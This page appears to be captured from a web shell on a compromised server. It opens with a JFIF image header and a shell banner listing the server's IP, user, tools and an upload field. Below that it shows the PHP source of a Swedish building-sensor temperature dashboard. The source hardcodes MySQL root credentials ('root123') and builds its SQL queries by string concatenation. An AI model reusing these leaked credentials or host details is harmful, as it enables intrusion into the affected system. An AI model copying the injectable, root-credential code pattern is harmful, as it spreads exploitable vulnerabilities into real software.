????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.191 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/var/www/appsrv.astacus.se/digitaltwin/sensors/strandis/ |
Upload File : |
<?php
session_start();
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("energicontrol");
$date_from = date('Y-m-d',strtotime("- 1 days"));
$sql = "SELECT * FROM tblEcoguard WHERE Time LIKE '".$date_from."%' AND SensorType LIKE '%T' AND SensorName = '00038898' ORDER BY SensorName, SensorType, Time DESC LIMIT 1";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$Outdoor = round($row['Value'],1);
}
$sql = "SELECT DISTINCT(SensorName), Value, Time FROM tblEcoguard WHERE Time LIKE '".$date_from."%' AND tblEcoguard.SensorType = 'T' ORDER BY Time DESC";
// $sql = "SELECT * FROM tblEcoguard, tblRoomInfo WHERE tblRoomInfo.SensorId = tblEcoguard.SensorName AND Time LIKE '".$date_from."%' AND Level = 'Plan 0' AND tblEcoguard.SensorType = 'T' GROUP BY SensorName ORDER BY Time DESC";
$result = mysql_query($sql);
$plan0_x = 0;
$plan1_x = 0;
$plan2_x = 0;
$plan3_x = 0;
$Temp_Plan0 = 0;
$Temp_Plan1 = 0;
$Temp_Plan2 = 0;
$Temp_Plan3 = 0;
$Volume = 0;
while ($row = mysql_fetch_assoc($result)){
$sql = "SELECT * FROM tblRoomInfo WHERE SensorId = '".$row['SensorName']."'";
$result2 = mysql_query($sql);
while ($row2 = mysql_fetch_assoc($result2)){
if($row2["Level"] == "Plan 0"){
$plan0_x++;
$Temp_Plan0 += $row["Value"];
}
if($row2["Level"] == "Plan 1"){
$plan1_x++;
$Temp_Plan1 += $row["Value"];
}
if($row2["Level"] == "Plan 2"){
$plan2_x++;
$Temp_Plan2 += $row["Value"];
}
if($row2["Level"] == "Plan 3"){
$plan3_x++;
$Temp_Plan3 += $row["Value"];
}
}
}
$sql = "SELECT * FROM tblRoomInfo WHERE SensorType = 'T' ";
$result2 = mysql_query($sql);
while ($row2 = mysql_fetch_assoc($result2)){
$Volume += $row2["Volume"];
}
$Temp_Plan0 = round($Temp_Plan0 / $plan0_x,1);
$Temp_Plan1 = round($Temp_Plan1 / $plan1_x,1);
$Temp_Plan2 = round($Temp_Plan2 / $plan2_x,1);
$Temp_Plan3 = round($Temp_Plan3 / $plan3_x,1);
$Temp_PlanAVG = round(($Temp_Plan0 + $Temp_Plan1 + $Temp_Plan2 + $Temp_Plan3)/4,1);
$Volume = round($Volume);
?>
<html>
<head>
<meta charset="utf-8">
<title>Namnlöst dokument</title>
</head>
<body bgcolor="#000000">
<?php echo($sql);?>
<br>
<br>
<table width="1255" height="758" border="1" background="images/background.PNG" align="center">
<tbody>
<tr>
<td><table width="78%" border="0" align="center">
<tbody>
<tr>
<td width="26%" height="249">
<p align="right"><span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: black"> <br>
<br>
<br>
<?php echo($Temp_Plan3);?> °C</span><br>
<br>
<span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: black"> <?php echo($Temp_Plan2);?> °C</span><br>
<br>
<span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: black"><?php echo($Temp_Plan1);?> °C</span><br><br></p>
</td>
<td width="42%"><p><br>
<br>
</p>
<p> </p>
<p align="right"><br></p></td>
<td width="32%" align="center" style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px;color: blue"><?php echo($Outdoor);?> °C</td>
</tr>
<tr>
<td align="right"><span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: black"><?php echo($Temp_Plan0);?> °C<br>
<br>
<br>
AVG: <?php echo($Temp_PlanAVG);?> °C<br>
<br>
</span>
Volume: <?php echo($Volume);?> m³<br>
Temperaturskillnad: <?php echo($Temp_PlanAVG - $Outdoor);?> °C<br>
ENERGI: <?php echo(round(($Temp_PlanAVG - $Outdoor)*0.0036*$Volume));?> kWh
</td>
<td align="right" style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 40px; color: green"> </td>
<td> </td>
</tr>
<tr>
<td> </td>
<td><p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p></td>
<td> </td>
</tr>
</tbody>
</table></td>
</tr>
</tbody>
</table>
</body>
</html>